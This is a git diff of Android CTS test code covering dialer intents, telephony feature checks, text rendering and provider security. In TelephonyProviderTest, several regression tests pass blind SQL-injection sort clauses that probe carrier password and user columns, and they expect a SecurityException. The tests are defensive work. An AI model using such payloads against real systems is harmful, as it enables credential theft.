+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.List;
 
 
@@ -33,8 +40,13 @@
  * Verifies that certain privileged operations can only be performed by the default dialer.
  */
 public class DefaultDialerOperationsTest extends InstrumentationTestCase {
+    private static final int ACTIVITY_LAUNCHING_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+
     private Context mContext;
+    private UiDevice mUiDevice;
     private TelecomManager mTelecomManager;
+    private PackageManager mPackageManager;
     private PhoneAccountHandle mPhoneAccountHandle;
     private String mPreviousDefaultDialer = null;
     private String mSystemDialer = null;
@@ -43,6 +55,7 @@
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
@@ -55,6 +68,7 @@
             TestUtils.setDefaultDialer(getInstrumentation(), mSystemDialer);
         }
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+        mPackageManager = mContext.getPackageManager();
         final List<PhoneAccountHandle> accounts = mTelecomManager.getCallCapablePhoneAccounts();
         if (accounts != null && !accounts.isEmpty()) {
             mPhoneAccountHandle = accounts.get(0);
@@ -80,6 +94,48 @@
         assertEquals(TestUtils.PACKAGE, mTelecomManager.getDefaultDialerPackage());
     }
 
+    /** Default dialer should be the default package handling ACTION_DIAL. */
+    public void testActionDialHandling() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        Intent intent = new Intent(Intent.ACTION_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertEquals(info.activityInfo.packageName, mTelecomManager.getDefaultDialerPackage());
+    }
+
+    /** The package handling Intent ACTION_DIAL should be the same package showing the UI. */
+    public void testDialerUI() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        // Find which package handling the intent
+        Intent intent = new Intent(Intent.ACTION_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertTrue(info != null); // Default dialer should always handle it
+
+        verifySamePackageForIntentHandlingAndUI(intent, info);
+    }
+
+    /** The package handling Intent emergency dail should be the same package showing the UI. */
+    public void testEmergencyDialerUI() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        // Find which package handling the intent
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        if (info == null) {
+            // Skip the test if no package handles ACTION_EMERGENCY_DIAL
+            return;
+        }
+
+        verifySamePackageForIntentHandlingAndUI(intent, info);
+    }
+
     public void testVoicemailReadWritePermissions() throws Exception {
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
@@ -194,11 +250,12 @@
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
         }
-        final PackageManager pm = mContext.getPackageManager();
         final ComponentName name = new ComponentName(mContext,
                 "android.telecom.cts.MockDialerActivity");
         try {
-            pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+            mPackageManager.setComponentEnabledSetting(
+                    name,
+                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                     PackageManager.DONT_KILL_APP);
             TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
             final String result = TestUtils.getDefaultDialer(getInstrumentation());
@@ -206,7 +263,9 @@
             assertTrue("Expected failure indicating that this was not an installed dialer app",
                     result.contains("is not an installed Dialer app"));
         } finally {
-            pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+            mPackageManager.setComponentEnabledSetting(
+                    name,
+                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                     PackageManager.DONT_KILL_APP);
         }
 
@@ -229,4 +288,24 @@
         String reportedDialer = mTelecomManager.getSystemDialerPackage();
         assertEquals(mSystemDialer, reportedDialer);
     }
+
+    private void verifySamePackageForIntentHandlingAndUI(Intent intent, ResolveInfo info) {
+        String packageName = info.activityInfo.packageName;
+        assertTrue(!TextUtils.isEmpty(packageName));
+
+        mUiDevice.pressHome();
+        mUiDevice.waitForIdle();
+        try {
+            mContext.startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+
+            // The package handles the intent should be foreground
+            mUiDevice.wait(
+                    Until.hasObject(By.pkg(packageName).depth(0)),
+                    ACTIVITY_LAUNCHING_TIMEOUT_MILLIS);
+            mUiDevice.waitForIdle();
+        } finally {
+            mUiDevice.pressHome();
+            mUiDevice.waitForIdle();
+        }
+    }
 }
diff --git a/tests/tests/slice/Android.mk b/tests/tests/telecom4/Android.mk
similarity index 64%
rename from tests/tests/slice/Android.mk
rename to tests/tests/telecom4/Android.mk
index b440d19..2fc8558 100644
--- a/tests/tests/slice/Android.mk
+++ b/tests/tests/telecom4/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2008 The Android Open Source Project
+# Copyright (C) 2015 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,6 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+
 LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -21,32 +22,19 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
     ctstestrunner-axt \
-    metrics-helper-lib \
-    mockito-target-inline-minus-junit4 \
-    platform-test-annotations \
-    ub-uiautomator
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libdexmakerjvmtiagent \
-    libmultiplejvmtiagentsinterferenceagent
+    compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_PACKAGE_NAME := CtsSliceTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_PACKAGE_NAME := CtsTelecom4TestCases
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
+LOCAL_JAVA_LIBRARIES += android.test.base.stubs
 
 include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/telecom4/AndroidManifest.xml b/tests/tests/telecom4/AndroidManifest.xml
new file mode 100644
index 0000000..a887fdf
--- /dev/null
+++ b/tests/tests/telecom4/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2019 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telecom4.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telecom4.cts">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/telecom4/AndroidTest.xml b/tests/tests/telecom4/AndroidTest.xml
new file mode 100644
index 0000000..ae5ad5b
--- /dev/null
+++ b/tests/tests/telecom4/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2019 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<configuration description="Config for CTS Telecom test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTelecom4TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telecom4.cts" />
+        <option name="runtime-hint" value="7m30s" />
+    </test>
+</configuration>
diff --git a/tests/tests/telecom4/OWNERS b/tests/tests/telecom4/OWNERS
new file mode 100644
index 0000000..93fe555
--- /dev/null
+++ b/tests/tests/telecom4/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+
diff --git a/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java b/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java
new file mode 100644
index 0000000..0e68c64
--- /dev/null
+++ b/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom4.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build, install and run the tests by running the commands below:
+ * make CtsTelecom4TestCases -j64
+ * cts-tradefed run cts -m CtsTelecom4TestCases --test android.telecom4.cts.InCallServiceImplTest
+ */
+@RunWith(AndroidJUnit4.class)
+public class InCallServiceImplTest {
+    private static final String TAG = "InCallServiceTest";
+    private static final String IN_CALL_SERVICE_ACTION = "android.telecom.InCallService";
+    private static final String IN_CALL_SERVICE_PERMISSION =
+            "android.permission.BIND_INCALL_SERVICE";
+
+    private Context mContext;
+    private PackageManager mPackageManager;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    @CddTest(requirement = "7.4.1.2/C-1-3")
+    @Test
+    public void resolveInCallIntent() {
+        if (!hasTelephonyFeature()) {
+            Log.d(TAG, "Bypass the test since telephony is not available.");
+            return;
+        }
+
+        Intent intent = new Intent();
+        intent.setAction(IN_CALL_SERVICE_ACTION);
+        ResolveInfo resolveInfo = mPackageManager.resolveService(intent,
+                PackageManager.GET_SERVICES | PackageManager.GET_META_DATA);
+
+        assertNotNull(resolveInfo);
+        assertNotNull(resolveInfo.serviceInfo);
+        assertNotNull(resolveInfo.serviceInfo.packageName);
+        assertNotNull(resolveInfo.serviceInfo.name);
+        assertEquals(IN_CALL_SERVICE_PERMISSION, resolveInfo.serviceInfo.permission);
+    }
+
+    private boolean hasTelephonyFeature() {
+        return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 3ef4ff2..39a9346 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -42,6 +42,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.Looper;
 import android.os.PersistableBundle;
@@ -63,6 +64,7 @@
     private static final String CARRIER_NAME_OVERRIDE = "carrier_a";
     private CarrierConfigManager mConfigManager;
     private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
     private static final int TOLERANCE = 2000;
     private final Object mLock = new Object();
 
@@ -72,6 +74,7 @@
                 getContext().getSystemService(Context.TELEPHONY_SERVICE);
         mConfigManager = (CarrierConfigManager)
                 getContext().getSystemService(Context.CARRIER_CONFIG_SERVICE);
+        mPackageManager = getContext().getPackageManager();
     }
 
     @After
@@ -142,6 +145,9 @@
     @SecurityTest
     @Test
     public void testRevokePermission() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         PersistableBundle config;
 
         try {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 52ed059..c81240d 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -169,6 +169,9 @@
 
     @Test
     public void testDivideMessage() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         ArrayList<String> dividedMessages = divideMessage(LONG_TEXT);
         assertNotNull(dividedMessages);
         if (TelephonyUtils.isSkt(mTelephonyManager)) {
@@ -184,6 +187,9 @@
 
     @Test
     public void testDivideUnicodeMessage() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         ArrayList<String> dividedMessages = divideMessage(LONG_TEXT_WITH_32BIT_CHARS);
         assertNotNull(dividedMessages);
         assertTrue(isComplete(dividedMessages, 3, LONG_TEXT_WITH_32BIT_CHARS));
@@ -437,6 +443,9 @@
 
     @Test
     public void testContentProviderAccessRestriction() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         Uri dummySmsUri = null;
         Context context = getInstrumentation().getContext();
         ContentResolver contentResolver = context.getContentResolver();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 3a72a80..807ef0c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -1229,6 +1229,10 @@
      */
     @Test
     public void testGetUiccCardsInfo() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
         try {
             // Requires READ_PRIVILEGED_PHONE_STATE or carrier privileges
             List<UiccCardInfo> infos = mTelephonyManager.getUiccCardsInfo();
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
index 05acf32..d54260b 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
@@ -18,6 +18,7 @@
 
 import android.content.ContentResolver;
 import android.database.Cursor;
+import android.net.Uri;
 import android.provider.Telephony.Carriers;
 import android.test.InstrumentationTestCase;
 
@@ -59,7 +60,79 @@
             String[] selectionArgs = null;
             Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
                     APN_PROJECTION, selection, selectionArgs, null);
-            fail("Expected SecurityExceptio");
+            fail("Expected SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    public void testNoAccessToPasswordThruSort() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL";
+            String[] selectionArgs = null;
+            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+                    + " password LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+                    APN_PROJECTION, selection, selectionArgs, sort);
+            fail("Expected SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    public void testNoAccessToPasswordThruMixedCase() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL";
+            String[] selectionArgs = null;
+            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+                    + " PaSsWoRd LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+                    APN_PROJECTION, selection, selectionArgs, sort);
+            fail("Expected SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    public void testNoAccessToUser() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL AND "
+                    + Carriers.USER + " IS NOT NULL";
+            String[] selectionArgs = null;
+            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+                    + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+                    APN_PROJECTION, selection, selectionArgs, sort);
+            fail("Expected SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    public void testNoAccessViaSubqueries() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL";
+            String[] selectionArgs = null;
+            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+                    + " mcc LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+                    APN_PROJECTION, selection, selectionArgs, sort);
+            fail("Expected SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    public void testNoAccessToUserWithDifferentUri() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL AND "
+                    + Carriers.USER + " IS NOT NULL";
+            String[] selectionArgs = null;
+            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+                    + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+            Cursor cursor = mContentResolver.query(Uri.parse("content://telephony/siminfo"),
+                    APN_PROJECTION, selection, selectionArgs, sort);
+            fail("Expected SecurityException");
         } catch (SecurityException e) {
             // expected
         }
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index bd65797..9316ee8 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -41,5 +41,6 @@
         "vts",
         "general-tests",
         "cts_instant",
+        "mts",
     ],
 }
diff --git a/tests/tests/text/src/android/text/cts/MyanmarTest.java b/tests/tests/text/src/android/text/cts/MyanmarTest.java
index b2c140f..ab1e3eb 100644
--- a/tests/tests/text/src/android/text/cts/MyanmarTest.java
+++ b/tests/tests/text/src/android/text/cts/MyanmarTest.java
@@ -115,6 +115,39 @@
     }
 
     @Test
+    public void testMyanmarUnicodeRenders() {
+        assumeTrue(sHasBurmeseLocale);
+        assumeTrue(!sMymrLocales.isEmpty());
+
+        assertTrue("Should render Unicode text correctly in Myanmar Unicode locale",
+                isUnicodeRendersCorrectly(mContext, new LocaleList(sMymrLocales.get(0))));
+    }
+
+    @Test
+    public void testUnicodeRenders_withValidLocaleList() {
+        assumeTrue(sHasBurmeseLocale);
+        assumeTrue(!sMymrLocales.isEmpty());
+
+        final LocaleList[] testLocales = new LocaleList[]{
+                LocaleList.forLanguageTags("en-Latn-US"),
+                LocaleList.forLanguageTags("en-Latn"),
+                LocaleList.forLanguageTags("my-Mymr"),
+                LocaleList.forLanguageTags("my-Mymr,my-Qaag"),
+                LocaleList.forLanguageTags("my-Mymr-MM,my-Qaag-MM"),
+                LocaleList.forLanguageTags("en-Latn,my-Mymr"),
+                LocaleList.forLanguageTags("en-Latn-US,my-Mymr-MM"),
+                LocaleList.forLanguageTags("en-Mymr,my-Qaag"),
+                LocaleList.forLanguageTags("en-Mymr-MM,my-Qaag-MM"),
+        };
+
+        for (LocaleList localeList : testLocales) {
+            assertTrue("Should render Unicode text correctly in locale " + localeList.toString(),
+                    isUnicodeRendersCorrectly(mContext, localeList));
+        }
+
+    }
+
+    @Test
     public void testZawgyiRenders() {
         assumeTrue(sHasBurmeseLocale);
         assumeTrue(!sZawgyiLocales.isEmpty());
@@ -167,6 +200,15 @@
         assertTrue(qaagFontExists);
     }
 
+    private static boolean isUnicodeRendersCorrectly(Context context, LocaleList localeList) {
+        final Bitmap bitmapCorrect = CaptureTextView.capture(context, localeList,
+                UNICODE_CORRECT_ORDER);
+        final Bitmap bitmapWrong = CaptureTextView.capture(context, localeList,
+                UNICODE_WRONG_ORDER);
+
+        return !bitmapCorrect.sameAs(bitmapWrong);
+    }
+
     private static boolean isZawgyiRendersCorrectly(Context context, LocaleList localeList) {
         final Bitmap bitmapCorrect = CaptureTextView.capture(context, localeList,
                 UNICODE_CORRECT_ORDER);
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 56a6c85..12a4271 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,6 +33,7 @@
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.Typeface;
 import android.os.LocaleList;
+import android.platform.test.annotations.SecurityTest;
 import android.text.Editable;
 import android.text.Layout;
 import android.text.Layout.Alignment;
@@ -1681,4 +1682,33 @@
         end = LOREM_IPSUM.length();
         testLineBackgroundSpanInRange(LOREM_IPSUM, start, end);
     }
+
+    // This is for b/140755449
+    @SecurityTest
+    @Test
+    public void testBidiVisibleEnd() {
+        TextPaint paint = new TextPaint();
+        // The default text size is too small and not useful for handling line breaks.
+        // Make it bigger.
+        paint.setTextSize(32);
+
+        final String input = "\u05D0aaaaaa\u3000 aaaaaa";
+        // To make line break happen, pass slightly shorter width from the full text width.
+        final int lineBreakWidth = (int) (paint.measureText(input) * 0.8);
+        final StaticLayout layout = StaticLayout.Builder.obtain(
+                input, 0, input.length(), paint, lineBreakWidth).build();
+
+        // Make sure getLineMax won't cause crashes.
+        // getLineMax eventually calls TextLine.measure which was the problematic method.
+        layout.getLineMax(0);
+
+        final Bitmap bmp = Bitmap.createBitmap(
+                layout.getWidth(),
+                layout.getHeight(),
+                Bitmap.Config.RGB_565);
+        final Canvas c = new Canvas(bmp);
+        // Make sure draw won't cause crashes.
+        // draw eventualy calls TextLine.draw which was the problematic method.
+        layout.draw(c);
+    }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
index e19dfe8..34ffd76 100644
--- a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
@@ -263,8 +263,18 @@
         assertTrue(mTextView.getScrollY() > previousScrollY);
         assertTrue(mTextView.getScrollX() < bottom);
 
+        assertTrue(getActionResult(new ActionRunnerWithResult() {
+            public void run() {
+                // move back up for the next test
+                mResult = method.onTouchEvent(mTextView, mSpannable, MotionEvent.obtain(now, now,
+                        MotionEvent.ACTION_MOVE, 0, -distFar, 0));
+            }
+        }));
+
         previousScrollY = mTextView.getScrollY();
-        final int distTooFar = (int) (-bottom * 10);
+        // further detracting mScaledTouchSlop from (-bottom * 10) so it is guaranteed to be
+        // greater than the touch slop value.
+        final int distTooFar = (int) (-bottom * 10) - mScaledTouchSlop;
         assertTrue(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 // move for long distance
diff --git a/tests/tests/transition/res/values/styles.xml b/tests/tests/transition/res/values/styles.xml
index 00303c9..be2272e 100644
--- a/tests/tests/transition/res/values/styles.xml
+++ b/tests/tests/transition/res/values/styles.xml
@@ -14,7 +14,7 @@
      limitations under the License.
      -->
 <resources xmlns:android="http://schemas.android.com/apk/res/android">
-  <style name="Theme_NoSwipeDismiss">
+  <style name="Theme_NoSwipeDismiss" parent="android:Theme.DeviceDefault">
     <item name="android:windowSwipeToDismiss">false</item>
   </style>
 </resources>
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 27c388a..6314ec5 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -105,7 +105,8 @@
     private static final String WHITE_SPACES = " \r \n \t \f ";
 
     private static final String PARAM_CANONICAL_GENRE = "canonical_genre";
-    private static final String NON_EXISTING_COLUMN_NAME = "non_existing_column";
+    private static final String[] NON_EXISTING_COLUMN_NAMES =
+            {"non_existing_column", "another non-existing column --"};
 
     private String mInputId;
     private ContentResolver mContentResolver;
@@ -336,15 +337,20 @@
     private void verifyNonExistingColumn(Uri channelUri, long channelId) {
         String[] projection = {
                 Channels._ID,
-                NON_EXISTING_COLUMN_NAME
+                NON_EXISTING_COLUMN_NAMES[0],
+                NON_EXISTING_COLUMN_NAMES[1]
         };
         try (Cursor cursor = mContentResolver.query(channelUri, projection, null, null, null)) {
             assertNotNull(cursor);
             assertEquals(cursor.getCount(), 1);
             assertTrue(cursor.moveToNext());
             assertEquals(channelId, cursor.getLong(0));
+            assertEquals(NON_EXISTING_COLUMN_NAMES[0], cursor.getColumnName(1));
             assertNull(cursor.getString(1));
             assertEquals(0, cursor.getInt(1));
+            assertEquals(NON_EXISTING_COLUMN_NAMES[1], cursor.getColumnName(2));
+            assertNull(cursor.getString(2));
+            assertEquals(0, cursor.getInt(2));
         }
     }
 
@@ -533,7 +539,8 @@
             return;
         }
         ContentValues values = createDummyChannelValues(mInputId, false);
-        values.put(NON_EXISTING_COLUMN_NAME, "dummy value");
+        values.put(NON_EXISTING_COLUMN_NAMES[0], "dummy value 0");
+        values.put(NON_EXISTING_COLUMN_NAMES[1], "dummy value 1");
         Uri rowUri = mContentResolver.insert(mChannelsUri, values);
         long channelId = ContentUris.parseId(rowUri);
         Uri channelUri = TvContract.buildChannelUri(channelId);
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 866ac57..7f4264f 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -26,8 +26,8 @@
 
     <android.view.cts.MockView
         android:id="@+id/mock_view"
-        android:layout_width="100dp"
-        android:layout_height="75dp"/>
+        android:layout_width="75dp"
+        android:layout_height="100dp"/>
 
     <android.view.cts.MockView
         android:id="@+id/scroll_view"
diff --git a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
index 423f3b7..25312e7 100644
--- a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
+++ b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
@@ -201,9 +201,62 @@
         assertTrue("set rects timeout", setter[0].await(3, SECONDS));
     }
 
+    @Test
+    public void ignoreHiddenViewRects() throws Throwable {
+        final Activity activity = mActivityRule.getActivity();
+        final View contentView = activity.findViewById(R.id.abslistview_root);
+        final List<Rect> dummyLocalExclusionRects = Lists.newArrayList(new Rect(0, 0, 5, 5));
+        final List<Rect> dummyWindowExclusionRects = new ArrayList<>();
+
+        mActivityRule.runOnUiThread(() -> {
+            final View v = activity.findViewById(R.id.animating_view);
+            int[] point = new int[2];
+            v.getLocationInWindow(point);
+            for (Rect r : dummyLocalExclusionRects) {
+                Rect offsetR = new Rect(r);
+                offsetR.offsetTo(point[0], point[1]);
+                dummyWindowExclusionRects.add(offsetR);
+            }
+        });
+
+        // Set an exclusion rect on the animating view, ensure it's reported
+        final GestureExclusionLatcher[] setLatch = new GestureExclusionLatcher[1];
+        mActivityRule.runOnUiThread(() -> {
+            final View v = activity.findViewById(R.id.animating_view);
+            setLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+            v.setSystemGestureExclusionRects(dummyLocalExclusionRects);
+        });
+        assertTrue("set rects timeout", setLatch[0].await(3, SECONDS));
+        assertEquals("returned rects as expected", dummyWindowExclusionRects,
+                setLatch[0].getLastReportedRects());
+
